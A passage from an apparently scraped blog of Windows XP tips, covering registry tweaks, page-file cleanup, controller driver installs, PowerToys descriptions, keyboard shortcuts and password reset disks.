Right-clock on my computer, select properties, advanced tab, error reporting button - turn on the "no error reporting" check box and turn off the "but notify me" option.
Disable Virtual Memory:
Right-click on my computer, select properties, advanced tab, performance settings, advanced tab, virtual memory "change" button. Note down the current VM settings (system managed or any customized size. Turn on the "no paging file" bullet, and press the set tab.
Delete the paging file:
Reboot. Verify that the option reads 0 kb for page file. Use folder options on control panel or explorer "tools" pulldown menu & go to "view" tab. Turn off check box to permit viewing of system files. Now explorer on the root of C drive (or what ever drive letter you page file was set to use), should show a pagefile.sys entry. Delete this. You will get a warning message about this being a system file. Since you have disabled virtual memory, this entry is not being used. Delete it. Go empty the trash bin to make sure this entry is cleared.
Re-enable Virtual Memory:
Right-click on my computer, select properties, advanced tab, performance settings, advanced tab, virtual memory "change" button , turn on the system-managed or customized paging file with the same settings as you noted down earlier. Be sure to press the set button. Reboot and verify that the paging file is active. Re-enable error reporting that was disabled earlier. Reboot to verify that the repetitive error message has indeed "left the building"
IMPORTANT NOTE: Microsoft support team should contact you as soon as possible!

21. Installed Windows XP on the same volume as old OS?
I did this very same thing on my computer the first time I tried to install Windows XP Pro. Installation was carried out from within the old Windows 2000 environment and it did go well. I had chosen fresh install and ( that was the intention as I had bought a copy of WINDOWS XP PRO FULL VERSION and wanted to wipe out the old install...I do not believe in UPGRADE Versions!). But when rebooted I saw multiple boot option and soon figured out that installation did not go as I had expected.....To clean it I had to go into boot.ini file and delete entry corresponding to Windows 2000. Also based on my experience of old directory structure, I had to manually delete those. I could easily remove the WINNT directory as it belonged to Windows 2000. Difficult task was the program files directory as it has old as well as new stuff mixed up. I used date and timestamp sorting to figure out what was old and not needed but you be very careful here.
IMPORTANT NOTE: If you remove a program file belonging to Windows by mistake, you may be heading for trouble !

22. NetMeeting does not open up quickly or not at all?
I did face this a couple of times when inviting someone for voice chat on MSN. If you have recently bought/installed the XP PRO on your PC (which had been the case with me) you may not have activated netmeeting. You would have to do that. Quickest would be to go to START-RUN and entering CONF and in the resultant screen, providing basic information about your self and your are done.

23. Reduce keystrokes by pressing CTRL key while entering in web addresses ?
If you just type CNN and press CTRL+ENTER, it is as good as entering www.cnn.com!
IMPORTANT NOTE: To best of my knowledge it only works for .com addresses!

24. Why sending a file does not work in MSN messenger if NAT is installed ?
I have three computers connected to Internet via one that has WINDOWS XP installed on it. NAT works great and I like that. Problem is if you are using MSN messenger, you can not send a file to someone because that is sort of like point to point ftp protocol and does not work with local addresses over Internet But you can get remote assistance and if you have any problems read this tip on Microsoft Expert Zone: http://www.microsoft.com/windowsxp/expertzone/tips/september/jackson1.asp.

25. DVD-RAM model supported in XP but not being recognized or being recognized as CD-ROM?
Open Regedit by going to START - RUN and type Regedit and hit enter. Then you should navigate to following entry in registry
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\ {4D36E965-E325-11CE-BFC1-08002BE10318}. Highlight the {4D36E965-E325-11CE-BFC1-08002BE10318} folder in the left pane, delete the following two keys in the right pane.
"UpperFilters"
"LowerFilter"
DELETE these two entries and restart your computer. If your DVD-RAM is supported by WINDOWS XP, this may work.

Error - ''boot_unmountable_drive'' when installing XP

2008-06-13T05:19:00.000-07:00

Saturday, December 29, 2007 at 10:13 PM Posted under Labels: hacks, windows xp
For those who are getting this error when you try to install WinXP on a motherboard that has UDMA 100 Promise Controllers you need to do the following in order to get XP to install correctly if your hard drives are connected to the UDMA 100 controller.

Now there are two ways to get XP installed, the first one I am going to mention is the easiest way and the second is a bit more complicated but will work never the less.

#1 - Easiest Way
I have an Asus A7V motherboard and I have run into this more than once. What you need to do (this is the easiest way to do it that I have found) is to move your hard drives cable off the UDMA 100 controller (normally color coded blue) over to the UDMA 66 master controller on the motherboard. Once you have done that make sure your PC still boots into your current OS correctly. If it does then start your XP install or upgrade. Everything should be fine. Now, once XP is up on My Computer and choose Manage. Look under Device manager and you will see an error with a yellow exclamation point on it. Right click on it and install the Promise Drivers. You can download them directly from here -
ftp://ftp.promise.com/Controllers/IDE/Ultra66/UltraFamily/U100d160b32.zip
Once you have the drivers installed re-boot the system and make sure the yellow exclamation points are gone and the promise drivers are listed under SCSI devices, if they are then turn off your system, move the HD's back to the UDMA 100 controller and boot it up. That should fix it.

#2 - Fresh Install
If you plan on installing XP to a freshly formatted hard drive the easiest way I have found to do this is to use the above method but for those with only one UDMA 66 controller on there motherboard you may need to do the following:

- First use the URL above and download the Promise drivers from the Promise website.
- Second you need to extract the drivers to a floppy or to the partition on your hard drive that XP can see (FAT32 works great for this) but there is a trick to this in order to make XP see the drivers. Once you extract the drivers the promise drivers automatically make folders for each individual OS (see screen shot), what you need to do is move the files from under the Win2K directory to the of the Promise Folder. So you take the three files under the Win2K folder and copy them, don't move them but copy them to the root of the main folder where you extracted the Promise drivers to (if you don't see three files go to Tools/Folder Options/View and check "show hidden files"). The three files you need to copy to the area are:
- Ultra.cat- Ultra.inf- Ultra.sys
Now that you have all the files in the copy them to a floppy, reboot (if needed) and start your install of XP.

Now pay attention here - at the bottom of the very first blue setup screen you will see a prompt to hit F6 to install third party SCSI or RAID drivers. HIT F6 A FEW TIMES NOW!!! Now it might take a couple of seconds but you should be prompted to insert your drivers into your floppy drive. Do so and choose the Promise ATA100 controller. Keep this disk handy as you will be prompted for it one more time during the install.

Once XP has the drivers and loads them successfully XP should install just fine, well at least as far as the controller goes.
0 comments
What are XP powerToys
at 9:59 PM Posted under Labels: hacks, windows xp
What are XP powerToys
PowerToys are additional programs that developers work on after the product has been released to manufacturing, but before the next project has begun. These toys add fun and functionality to the Windows experience.

We've taken great care to ensure that PowerToys operate as they should. But please note that these programs are not part of Windows and are not supported by Microsoft. For this reason, Microsoft Technical Support is unable to answer questions about PowerToys
The PowerToys are installed into the directory you specify during setup. Typically this is the system32 directory.
To uninstall the PowerToys, Open the control Panel. Launch the Add/Remove Programs control panel applet. Find the PowerToys for Windows XP entry, and choose Modify/Remove. From here you can remove specific toys or all of them.

Faster User Switcher
Note: You cannot use this toy if fast user switching is not enabled.
What it is: With Fast User Switching enabled on Windows XP, this PowerToy allows you to switch users without having to use the logon screen.Special requirements: This PowerToy requires a Windows key on your keyboard.How to use: Press the Windows key then the Q key to activate; release and press Q to switch to a different user tile, then release both Q and Windows key to switch to that user.

Shell Player
What it is: This PowerToy plays MP3 files and WMA files from the taskbar.How to use: Right click on the taskbar, click toolbars, then click "Audio Player." If the taskbar is locked and you want to resize the player, you will have to unlock it. This will allow you to access the play list editor and view all the buttons.

Task Switcher
What it is: Replaces the existing Alt + Tab application switching mechanism of Windows XP. It provides a thumbnail preview of windows in the task list and is compliant with the new Windows XP visual style.How to use: (NOTE: You must log off and then log on again for the changes to take effect). Use just as you do the existing Alt + Tab mechanism by pressing the Alt key and the Tab key to activate. While holding down the Alt key, press the Tab key to cycle through running applications. To move backwards, press Shift + Alt + Tab. Release all keys when the desired application is highlighted.

Open Command Window Here
What it is: This PowerToy adds an "Open Command Window Here" context menu option on file system folders. This gives users a quick way to open a command window (cmd.exe) pointing at a selected folder in the Explorer UI.How to use: After installation, right click on the folder you would like to have a quick launch command window for.

Tweak UI
What it is: Provides access to system settings that are not exposed in the Windows XP default user interface.How to use: Go to Start, All Programs, Accessories, TweakUI for Windows XP.

PowerToy Calc
What it is: Graphing calculatorHow to use: Go to Start, All Programs, Accessories, PowerToy Calc

Bulk Resize for Photos
What it is: Allows you to make a new, resized copy of your selected pictures in the same folder they are currently located in. You can opt to resize one or many pictures (as a batch).How to use: Right click any image(s) and select Resize Pictures in the context menu.

ISO Image Burner
What it is: Allows you to burn an ISO Image using a CD-ROM burner that is compatible with Windows XPHow to use: Go to Start, All Programs, Accessories, ISO Burner

Slide Show Generator
What it is: Generate a slideshow when burning a CDHow to use: Add only images to a CD-ROM using Windows XP Explorer, then Write these files to disk. A new task is presented in the wizard for generating the autorun for the slideshow.

Virtual Desktop Manager
What it is: Manage up to 4 desktops from the Windows Shell Taskbar.How to use:Right click on the taskbar, click toolbars, then click "Desktop Manager." If the taskbar is locked and you want to resize the manager, you will have to unlock it.

Background Wallpaper switcher
What it is: Allows you to switch the background image periodically.How to use: Access this PowerToy by right clicking the desktop, click properties. It has added a new tab that will allow you to specify the interval as well as the directory to obtain the images from.

Taskbar Magnifier
What it is: Allows you to magnify part of the screen from the taskbar.How to use:Right click on the taskbar, click toolbars, then click "Taskbar Magnifier." If the taskbar is locked and you want to resize the magnifier, you will have to unlock it.

Slide Show Wizard

What it is: This wizard helps you create a slide show of your digital pictures. When you're done, you can put your slide show on the Web so that your family and friends can view it.How to use: Launch the Wizard from the Start Menu under All ProgramsPowertoys for Windows XPSlide Show Wizard. Follow the steps of the wizard to select and arrange your pictures, choose from a few simple options, and then save a Web-ready HTML slide show to a folder.
0 comments
How to make My Computer' open in Explore mode with folder list
at 9:19 PM Posted under Labels: hacks
In My Computer click Tools menu, and then click Options.

Click the File Types tab.In the list of file types, highlight "(NONE) Folders"

Click Advanced button, In the Actions box, highlight "Explore"

Click "Set Default"
0 comments
Shutting Down Windows XP
Saturday, December 22, 2007 at 10:20 PM Posted under Labels: windows xp
Although the big argument used to be about saturated and unsaturated fats, today's generation has found a new source of disagreement: Should a computer be left on all the time or turned off at the end of the day? Both camps have decent arguments, and there's no real answer (except that you should always turn off your monitor when you won't be using it for a half hour or so).

However, if you decide to turn off your computer, don't just head for the off switch. First, tell Windows XP about your plans. To do that, click the Start button, choose the Turn Off Computer command, and ponder the choices Windows XP places on-screen.

Click Stand By to temporarily put the computer to sleep, click Turn Off to turn off your computer, or click Restart to make Windows XP shut down and come back to life.

Stand By: Save your work before choosing this option; Windows XP doesn't save your work automatically. Instead, it lets your computer doze for a bit to save power, but the computer wakes up at the touch of a button

Turn Off: Clicking here tells Windows XP to put away all your programs and to make sure that you've saved all your important files. Then it turns off your computer and most of the newer monitors. Poof! Use this option when you're done computing for the day. (If your monitor doesn't turn off automatically, you'll have to push its power button yourself.)

Restart: Here, Windows saves your work and prepares your computer to be shut off. However, it then restarts your computer. Use this option when installing new software, changing settings, or trying to stop Windows XP from doing something awfully weird.

Hibernate: Only offered on some computers, this option works much like Shut Down. It saves your work and turns off your computer. However, when turned on again, your computer presents your desktop just as you left it: Open programs and windows appear in the same place. Putting your computer into hibernation mode is not as safe as shutting it down. (Don't see the Hibernate feature? Hold down Shift, and it will replace the Standby button.)

The Hibernate command takes all of your currently open information and writes it to the hard drive in one big chunk. Then, to re-create your desktop, it reads that big chunk and places it back on your desktop.

Don't ever turn off your computer unless you've chosen the Turn Off command from the Start button. Windows XP needs to prepare itself for the shutdown, or it may accidentally eat some of your important information — as well as the information of anybody else using the computer at the time.

Remember, if you're done with the computer but other people might want to use it, just click Log Off from the Start menu: Windows XP saves your work and brings up the Welcome screen, allowing other people to log on and play video games.
0 comments
Make XP boot even Faster
Sunday, November 11, 2007 at 10:19 PM Posted under Labels: hacks, windows xp
Microsoft has chosen a completely different path for XP and it's boot features by trying to incorporate as much support for newer fastboot BIOSes that are on most current motherboards.
They built XP in such a way as to make it able to take advantage of features in these new BIOSes, and one of the coolest things is a small application called bootvis. bootvis.
Bootvis watches everything that loads at boot time, from the moment the OS begins to load just after POST (Power On Self-Test) to the moment you get to a usable Desktop.
Some programs, most notably Norton AntiVirus 2002, suck up valuable seconds before you can actually DO anything even though you're at the Desktop. bootvis generates a trace file that you load and can then "see" a visual representation of what's happening. Every file, driver, hard drive read/write, etc., is recorded. You can then use bootvis to optimize the loading of files during the boot sequence. bootvis will rearrange the ways these very files are stored on the hard drive, thereby improving the boot time dramatically.
0 comments
Don't Ignore the Windows Logo Key
Friday, November 9, 2007 at 10:17 PM Posted under Labels: windows xp
The Windows logo key, located in the bottom row of most computer keyboards is a little-used treasure. Don't ignore it. It is the shortcut anchor for the following commands: Windows: Display the Start menu Windows + D: Minimize or restore all windows Windows + E: Display Windows Explorer Windows + F: Display Search for files Windows + Ctrl + F: Display Search for computer Windows + F1: Display Help and Support Center Windows + R: Display Run dialog box Windows + break: Display System Properties dialog box Windows + shift + M: Undo minimize all windows Windows + L: Lock the workstation Windows + U: Open Utility Manager

Hulka Mania

2008-06-13T05:18:00.000-07:00

Do Not Highlight Newly Installed Programs
Tired of that annoying little window that pops up to tell you that new software is installed? If it gets in the way when you’re logging off, turn it off completely.
• To do this Click Start, right-click at the top of the Start menu where your name is displayed, and then click Properties.
• In the Taskbar and Start Menu Properties dialog box, on the Start Menu tab, click Customize.
• Click the Advanced tab, and then clear the Highlight newly installed programs check box.
• Click OK, and then click OK again.
Now that message won’t be popping up when you least want to see it.
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Speed up the Start Menu
You can use this tip to speed up the Start Menu in Windows XP release candidate 1. You can customize the speed of the Start Menu by editing a Registry Key.
1. Click Start, and then click Run.
2. Type Regedit in the box, and then click OK.
3. Expand the menu in the left panel and select the HKEY_CURRENT_USER\Control Panel\Desktop folder.
4. Scroll down in the right panel and double click on the MenuShowDelay file.
5. In the Value Data box, change to default value for the menu speed from 400 to a lesser number, such as 1.
6. Click OK.
Caution: Incorrectly editing the registry may severely damage your system. Before making changes to the registry, you should back up any valued data on your computer.
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Use the Windows Classic Look
More comfortable performing a task with the familiar Windows Classic user interface? You can quickly switch the user interface to the familiar Windows Classic appearance on your computer if it helps you remember a task in your operating system or program. You can go back to the original Windows look with a couple clicks.
• Right-click on your desktop, and then click Properties.
• Click the Appearance tab.
• On the Windows and Buttons menu, select Windows Classic. Click OK.
There you go, now you can feel right at home with the old look, and you'll still get the best out of Windows XP, new look or old.
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Add Familiar Icons back to your desktop
It’s the case of the missing icons. Many of you may be wondering where all the icons from your desktop are in Windows XP? Well if you're like me, you like to have at least My Computer, My Network Places, and My Documents on the desktop.
To do this:
• Right-click on the desktop, and then click Properties.
• Click the Desktop tab and then click on Customize Desktop.
• Put a check mark in the box next to My Document, My Computer, My Network Places, or Internet Explorer, to add those familiar icons to your desktop.

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Unlock Toolbars to Customize Them
Windows XP now features locking toolbars, and you can adjust them. You can customize a lot of the Windows XP features such as the Taskbar, Start Menu, and even toolbar icons in Internet Explorer and Outlook Express. Remember your right-click:
• Right-click on a toolbar, and then click Lock the Toolbars to remove the check mark.
• Right-click on the toolbar again, and then click Customize.
• You can add and remove toolbar buttons, change text options and icon options. When you've got the toolbar customized, click Close.
• Now right-click on the toolbar and then click Lock the Toolbars to lock them in place.

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Display Your Quick Launch Toolbar
Is your Quick Launch toolbar missing from the taskbar? To display your familiar Quick Launch toolbar:
• Right-click an empty area on the taskbar, click Toolbars, and then click Quick Launch.
• Easy as that your Quick Launch bar appears. To add items to your Quick Launch toolbar, click the icon for the program you want to add, and drag it to the Quick Launch portion of the taskbar.

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Keep Your Favorite Programs Near the Top of the Start Menu
Do you have a favorite program that you frequently use? Elevate its priority on the Start menu by putting it at the top of the list. This ensures that the program will remain on the Start menu and cannot be bumped by other programs, even if you use the others more frequently. Right-click the link to your favorite program on the Start menu and select Pin to Start Menu. Your program will be moved permanently to the top part of the list, just below your browser and e-mail programs.
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Use the Address Bar to Launch Programs or Web Pages
Windows XP Professional enhanced the functionality of the Address bar to make it easier to launch your favorite programs. You can add the Address bar to the taskbar on the bottom of your desktop. Then you can launch programs simply by entering their names in the Address bar. For example, to launch Calculator, simply enter calc in the Address bar. Anything you would normally enter in the Run box on the Start menu can be entered in the Address bar. The Address bar also lets you quickly go to any Web page you specify.
To add the Address bar to the taskbar:
• Right-click an empty area on the taskbar.
• Point to Toolbars, and then click Address.
• Open the Address bar by double-clicking it.

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Stop Password Expiration
After you have run Windows XP for a while, you may receive this message when you log on: "Your password will expire in 14 days.....".
By default, Windows XP is set up with passwords which will expire after 42 days. 14 days in advance, Windows will start warning you of this fact. If you do not want your passwords to expire:
1. Go to Start > Run and in the Open: box type control userpasswords2
2. Select the Advanced tab in the User Accounts window
3. Press the Advanced button below the Advanced user management header
4. Select Users in the Local Users and Groups
5. In the right pane, right-click the user name for which you want to change the setting, and select Properties
6. On the General tab, check Password never expires
7. Click Apply and OK (all the way out)
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Safely Remove Hardware Icon?
If you have an USB device attached to your system, you will notice an icon in the Notification area, which - when clicked - will give you the option to Stop your hardware, before you unplug it.
It is possible that you never unplug this hardware. So how do you get rid of the icon? As far as I know the only way is to right-click the notification area, and selecting Properties. Under the Notification area heading, click Customize. Find the Safely Remove Hardware icon and select Always hide in the Behavior column next to it (press OK and Apply to back out).
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Multiuser features
Like Windows 2000, but unlike Windows 95, 98, and Me, the ability to log in multiple users simultaneously plays a big role in Windows XP. There is a default Administrator account set up when Windows XP is first installed, but you can create as many accounts as you need later, depending on how many people will be using the machine. Each user, once he or she has an account, can customize XP to his or her liking. Individual users get their own subfolders in the Documents And Settings folder; this folder serves as a centralized location for most personalized information, such as the Start Menu, Favorites, and Documents settings.
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Missing Administrator account
Once you have created regular user accounts, the default Administrator account vanishes from the Welcome screen, which you see when the computer starts up. Press Ctrl-Alt-Delete twice at the Welcome screen to retrieve the standard logon dialog. You can log on as Administrator from here. To switch among accounts, just click the Log Off button on the Start menu. You'll then see the Log Off Windows dialog box. Click the Switch User button, and you'll be taken to the Welcome screen where you can select and log on to other accounts.
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Show yourself
Only the Administrator can set up new user accounts (go to Control Panel > User Accounts > Create A New Account). You can select a picture to identify the account. When you're logged on to the system under your username, this picture, along with your username, peeks out at you from the top of the Start menu. There are a slew of 48x48-pixel bitmap images to choose from within XP. They're housed in D:\Documents And Settings\All Users\Application Data\Microsoft\User Account Pictures\Default Pictures. But why limit yourself? You can also copy any graphic you want into this folder or browse for another from your hard drive. Usable file types are BMP, GIF, JPEG, or PNG. However, always use a square picture, to limit the white space on the side. Your image can be any size but will be displayed as 48x48-pixel image, so a close-up works best.
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Hide yourself
Once you've created a user account, password-protect it to keep other users from viewing your files, Favorites, and cookies. Why? You may not want your child to see the note that you're sending to his or her teacher, or you may be planning someone's surprise party. (Note: Anyone with an Administrator account can still see them.)
Worried about remembering your password? Create a hint to help you when you initially create it by following the prompts during setup. XP stores the password hints in the Registry at Hkey_local_machine\Software\Microsoft\Windows\Current Version\Hints.
What if the hint doesn't help? Any user or Administrator can create a password reset disk, which you can use to log on and create a new password. Go to Control Panel > User Accounts and select "Prevent a forgotten password" in the Related Tasks box on the left. Follow the wizard's instructions. After creating the disk, find a safe place for it. Don't forget the password or where you put the disk. Someone else could use it to change your password without you knowing it.
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Not A Tweak, But A Double XP Surprise!
Neither Win2K nor WinME has the ability to create a simple, basic, DOS- based boot floppy (a "startup disk") unless you jump through hoops or do things in nonstandard ways. Because XP is the fusion of Win2K and Win9x/ME, I assumed it would follow the same "no boot floppy" tack. But instead, I was surprised to poke around in XP and see that the format option there does indeed offer a "Create MS-DOS Startup Disk."
As an experiment, I created a startup disk, and all went smoothly. I was able to use the disk to boot my PC without any problems. But when it started up, I got the second surprise. The DOS boot message showed "Microsoft Windows Millennium." To confirm this, I typed "Ver" to see what version of DOS was running, and the screen showed: Windows Millennium [Version 4.90.300]
Although it's very strange to see the WinME startup message on an XP-created floppy, all this means is that Microsoft cribbed a few essential DOS boot files from WinME, and made it so XP can drop them onto a freshly- formatted floppy for you. I'm glad they did: It's a very good thing that Microsoft restored the ability to make a simple boot disk.
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Fast Boot /Fast Resume Design
Customer research shows a frequently requested feature that users want from their PCs is fast system startup, whether from cold boot or when resuming from standby or hibernation. The Windows development team at Microsoft has taken bold steps in making fast startup PCs a reality with the Microsoft Windows XP operating system.
The design goals for Windows XP on a typical consumer PC are:
• Boot to a useable state in a total of 30 seconds
• Resume from Hibernate (S4) in a total of 20 seconds
• Resume from Standby (S3) in a total of 5 seconds
Boot and resume times are measured from the time the power switch is pressed to being able to start a program from a desktop shortcut. Click here to go to Microsoft's development center and learn how, download boot tools and read white papers on the subject.
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Display Hibernate Option on the Shut Down dialog
For some reason, Hibernate isn't available from the default Shut Down dialog. But you can enable it simply enough, by holding down the SHIFT key while the dialog is visible. Now you see it, now you don't!
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Speed up the Start Menu
The default speed of the Start Menu is pretty slow, but you can fix that by editing a Registry Key. Fire up the Registry Editor and navigate to the following key:
HKEY_CURRENT_USER \ Control Panel \ Desktop \ MenuShowDelay
By default, the value is 400. Change this to a smaller value, such as 0, to speed it up.
If this doesn't work for some reason, then you might try the following: Navigate to Display Properties then Appearance then Advanced and turn off the option titled Show menu shadow. You will get much better overall performance.
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Automatically defrag drives with a new context menu item
Create a new Registry import file named context_defrag.inf in Notepad (be sure to save with it with the Save as type set to All Files and not Text Documents) and place the following text inside:
; context_defrag.INF
; Adds Defrag to the right click context menu in Windows XP
[version]
signature="$CHICAGO$"
[DefaultInstall]
AddReg=AddMe
[AddMe]
HKCR,"Drive\Shell\Defrag\command",,,"DEFRAG.EXE %1"
Then, right-click and choose Install. This will add a context menu to XP that allows you to automatically defrag drives, using the command line version of the built-in defragmentation utility. To use it, navigate to a drive in My Computer, right-click, and choose Defrag. A command line window will appear, and that drive will be defragged. When it's complete, the window just disappears.
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Display the Sharing Tab in Folder Properties
In Windows 2000, getting to the Sharing options for a folder was simple: Just right-click, choose Properties, and you'd see a Sharing tab. In Windows XP, this feature is missing by default, but you can make the system display the Sharing tab if desired. Simply open up Folder Options (My Computer, then Tools, Folder Options) and navigate to the View tab. In the Advanced Settings section, scroll down to the bottom and uncheck Use simple file sharing (Recommended), a Mickey Mouse feature if there ever was one. Now share your folders on the LAN as you would in Windows 2000.
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My Computer Won't Shut Down Itself After Installing XP
There are a number of users who have been complaining that their PC will no longer automatically power down/shut off without pressing the power off button on the computers unlike in Windows Me/95/2000. There could be a number of reasons for this - but the main one seems to be that ACPI is not enabled on the computer or in Windows XP. Here is how to enable it:
1. Click - Start - Control Panel - Performance and Maintenance - Power Options Tab
2. Then click APM - Enable Advanced Power Management Support

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Create a Password Reset Disk
Microsoft has enhanced security features in XP including the the ability to create a floppy diskette to recover your password incase it is forgotten.
• Click Start
• Click Control Panel
• Click User Accounts
• Click on the account which you want to create a password disk
• Click Prevent a forgotten password which starts the Forgotten Password Wizard . This is found under Related Tasks
• Insert a blank, formatted disk into drive A, and click Next
• Enter the password in the Current user account password box
To use the recovery disk, at the Welcome screen
• Click the user name whose password is on the recovery disk
• Click the question mark button
• This causes the Did you forget your password message to appear.
• Click use your password reset disk
• This will start the Password Reset Wizard.
From this point, just follow the wizard's instructions and you will be able to set a new password. It is different if you are part of a domain, see next tip.
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How to Create a Password Reset Disk for computers that are part of a domain
Note that this procedure requires one blank, formatted floppy disk.
To create a password reset disk for your local user account:
1. Press CTRL+ALT+DELETE. The Windows Security dialog box appears.
2. Click Change Password . The Change Password dialog box appears.
3. In the Log on to box, click the local computer. For example, click Computer (this computer) .
4. Click Backup . The Forgotten Password Wizard starts.
5. On the "Welcome to the Forgotten Password Wizard" page, click Next .
6. Insert a blank, formatted disk in drive A, and then click Next .
7. In the Current user account password box, type your password, and then click Next . The Forgotten Password Wizard creates the disk.
8. When the progress bar reaches 100 percent complete, click Next , and then click Finish . The Forgotten Password Wizard quits and you return to the Change Password dialog box.
9. Remove, and then label the password reset disk. Store the disk in a safe place.
10. In the Change Password dialog box, click Cancel .
11. In the Windows Security dialog box, click Cancel.
If you forget your password, you can log on to the computer with a new password that you create by using the Password Reset Wizard and your password reset disk.
To gain access to your local user account on a computer that is a member of a domain, or has been disconnected from a domain:
1. In the Welcome to Windows dialog box, press CTRL+ALT+DELETE.
2. In the Log On to Windows dialog box, type an incorrect password in the Password box, and then click OK .
3. In the Logon Failed dialog box that appears, click Reset . The Password Reset Wizard starts. The Password Reset Wizard lets you create a new password for your local user account.
4. On the "Welcome to the Password Reset Wizard" page, click Next .
5. Insert the password reset disk in drive A, and then click Next .
6. On the "Reset the User Account Password" page, type a new password in the Type a new password box.
7. Type the same password in the Type the password again to confirm box.
8. In the Type a new password hint box, type a hint that will help you remember the password if you forget it. NOTE : This hint is visible to anyone who attempts to log on to the computer by using your user account.
9. Click Next , and then click Finish . The Password Reset Wizard quits and you return to the Log On to Windows dialog box. The password reset disk is automatically updated with the new password information. You do not have to create a new password reset disk.
10. In the Log On to Windows dialog box, type your new password in the Password box.
11. In the Log on to box, click the local computer. For example, click Computer (this computer) , and then click OK . You are logged on to the local computer with your local account information.
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Disable Automatic Windows Update
Windows XP is configured out of the box to routinely scan for and download updates to Windows XP automatically. While this can be somewhat convenient for those with very fast Internet connections and those who would otherwise forget to check for updates, it can be a nuisance for the rest of us, who are still using 56k or, even worse 33k modem connections.
To control or disable automatic updating, open the System icon in Control Panel (or right-click My Computer and select Properties), and choose the Automatic Updating tab.
To check for updates manually, open Internet Explorer and select Windows Update from the Tools menu.
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Try automatic camera recognition in windows xp
If you have a digital camera, try this trick for downloading pictures to your machine. Don't load any of the drivers or software that comes with your digital camera. Instead--if your camera supports USB--connect your camera via a USB port. There's a good chance that Windows XP will recognize the digicam. After a few moments, the Scanner And Camera Wizard should start up and walk you through the steps involved in copying your pictures from the camera to a folder of your choice on your computer--much faster than doing it manually. You may still need to install your camera's software if it provides configuration controls you can't access in any other way, such as those for changing the picture resolution on your camera or the software's special editing functions.
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HOW TO: Use Automatic Completion with a Command Prompt in Windows XP
To Activate Automatic Completion
For example, to change to the Program Files folder, you can type cd \pro control_character. Or, to display the contents of the Myfile.txt file, you can type type myf control_character. If there are multiple folders or files that match the characters you type, typing the control character again displays the next matching instance. When the correct folder or file is displayed, press ENTER to complete the command. If no folder of file matches the characters that you type, you hear a beep. You can activate or deactivate this feature for a computer, for a user, or for only the current command session.
Click here for the article from Microsoft.
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Easy CD Creator 5.0 Does Not Function In Windows XP
When you try to use Roxio Easy CD Creator 5.0, any of the following symptoms may occur:
Your computer may stop responding (hang) or may stop functioning correctly.
You may receive an error message on a blue screen. The error message may be similar to:
Stop 0x00000050: PrtSeqRd deferencing null device object
After you receive this error message, your computer restarts.
You may receive an error message that is similar to:
Createcd50.exe has encountered a problem and needs to close. We are sorry for the inconvenience.
Click here for the article from Microsoft.
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Damaged Registry Repair and Recovery in Windows XP
When a registry hive becomes damaged, your computer may become unbootable, and you may receive one of the following Stop error messages on a blue screen:
Unexpected Shutdown
Stop:0xc0000135
Registry damage often occurs when programs with access to the registry do not cleanly remove temporary items that they store in the registry. This problem may also be caused if a program is terminated or experiences a user-mode fault.

Windows XP Tips 'n' Tricks
Make Windows XP work the way you want it to!

These tips work with the final release of Windows XP. Unless otherwise noted, all tips should work with both Home and Professional Editions. Please note that some of these tips may require you to use a Registry Editor (regedit.exe), which could render your system unusable. Thus, none of these tips are supported in any way: Use them at your own risk. Also note that most of these tips will require you to be logged on with Administrative rights.
NEW! Microsoft recently sent along a set of Windows Tips and Office XP Tips that might also be of interest.
Here's a movie of this tip in action
335 Kbps Windows Media Video format, 404K

Delete files when the Recycle Bin is hidden
I actually discovered this tip accidentally recently and thought it was appropriate for the Tips page, even though it's probably been a feature of Windows for years. (UPDATE: Sure enough, it's been around for a while. It's still a cool tip and proof that one learns something every day).
By default, the Windows XP Recycle Bin sits at the bottom right of the desktop, just above the tray notification area and system clock. If you've got a bunch of floating windows open, however, it's possible to obscure the Recycle Bin and make it impossible to drag files and folders there for deletion. However, Microsoft must have thought of this event, because you can automatically hide all of those open windows during a drag operation. The first time it happened, I thought it was a fluke. But it's not. Instead, it's a cool hidden feature of XP.
Here's how it works: Make sure a bunch of windows are open on the screen, with at least one of them hiding the Recycle Bin. Then, find a file or group of files you'd like to drag to the Recycle Bin. Pick up the files with the mouse and move them to the lower right of the screen. As you reach the bottom area of the screen, pass the mouse cursor over a blank area of the task bar, hover there for an instant, and--voila!--the open windows all minimize, leaving the Recycle Bin available to accept the dragged files. Good stuff. This tip also works when windows are maximized, assuming the file(s) you want to delete are visible in one of the available windows.
Add album art to any music folder
Contributed by Richard Davidson and Brian Donovan
This is easily my favorite tip! One of the coolest new features in Windows XP is its album thumbnail generator, which automatically places the appropriate album cover art on the folder to which you are copying music (generally in WMA format). But what about those people that have already copied their CDs to the hard drive using MP3 format? You can download album cover art from sites such as cdnow.com or amguide.com, and then use the new Windows XP folder customize feature to display the proper image for each folder. But this takes time--you have to manually edit the folder properties for every single folder--and you will lose customizations if you have to reinstall the OS. There's an excellent fix, however.

When you download the album cover art from the Web, just save the images as folder.jpg each time and place them in the appropriate folder. Then, Windows XP will automatically use that image as the thumbnail for that folder and, best of all, will use that image in Media Player for Windows XP (MPXP) if you choose to display album cover art instead of a visualization. And the folder customization is automatic, so it survives an OS reinstallation as well. Your music folders never looked so good!

Album cover art makes music folder thumbnails look better than ever!
UPDATE: In addition to the folder.jpg file mentioned above, you can also optionally create a smaller version of the image called albumartsmall.jpg, if desired. This is the image used to display album art in MPXP when its sized so that the display area is smaller than 200 x 200 pixels, and in the folder thumbnails for folders that contain album folders. If you don't create albumartsmall.jpg, however, Windows XP will automatically scale folder.jpg in these cases.
Automatically defrag drives with a new context menu item!
Contributed by Doug Knox
Create a new Registry import file named context_defrag.inf in Notepad (be sure to save with it with the Save as type set to All Files and not Text Documents) and place the following text inside:
; context_defrag.INF

; Adds Defrag to the right click context menu in Windows XP

[version]
signature="$CHICAGO$"

[DefaultInstall]
AddReg=AddMe

[AddMe]

HKCR,"Drive\Shell\Defrag\command",,,"DEFRAG.EXE %1"
Then, right-click and choose Install. This will add a context menu to XP that allows you to automatically defrag drives, using the command line version of the built-in defragmentation utility. To use it, navigate to a drive in My Computer, right-click, and choose Defrag. A command line window will appear, and that drive will be defragged. When it's complete, the window just disappears.
UPDATE: To remove this functionality, Open regedit.exe and navigate to the following location:
HKEY_CLASSES_ROOT\Drive\shell\
Then delete the Defrag folder and close Regedit.
Add/Remove optional features of Windows XP
Contributed by Ong Choon Keong and Hans Breemer
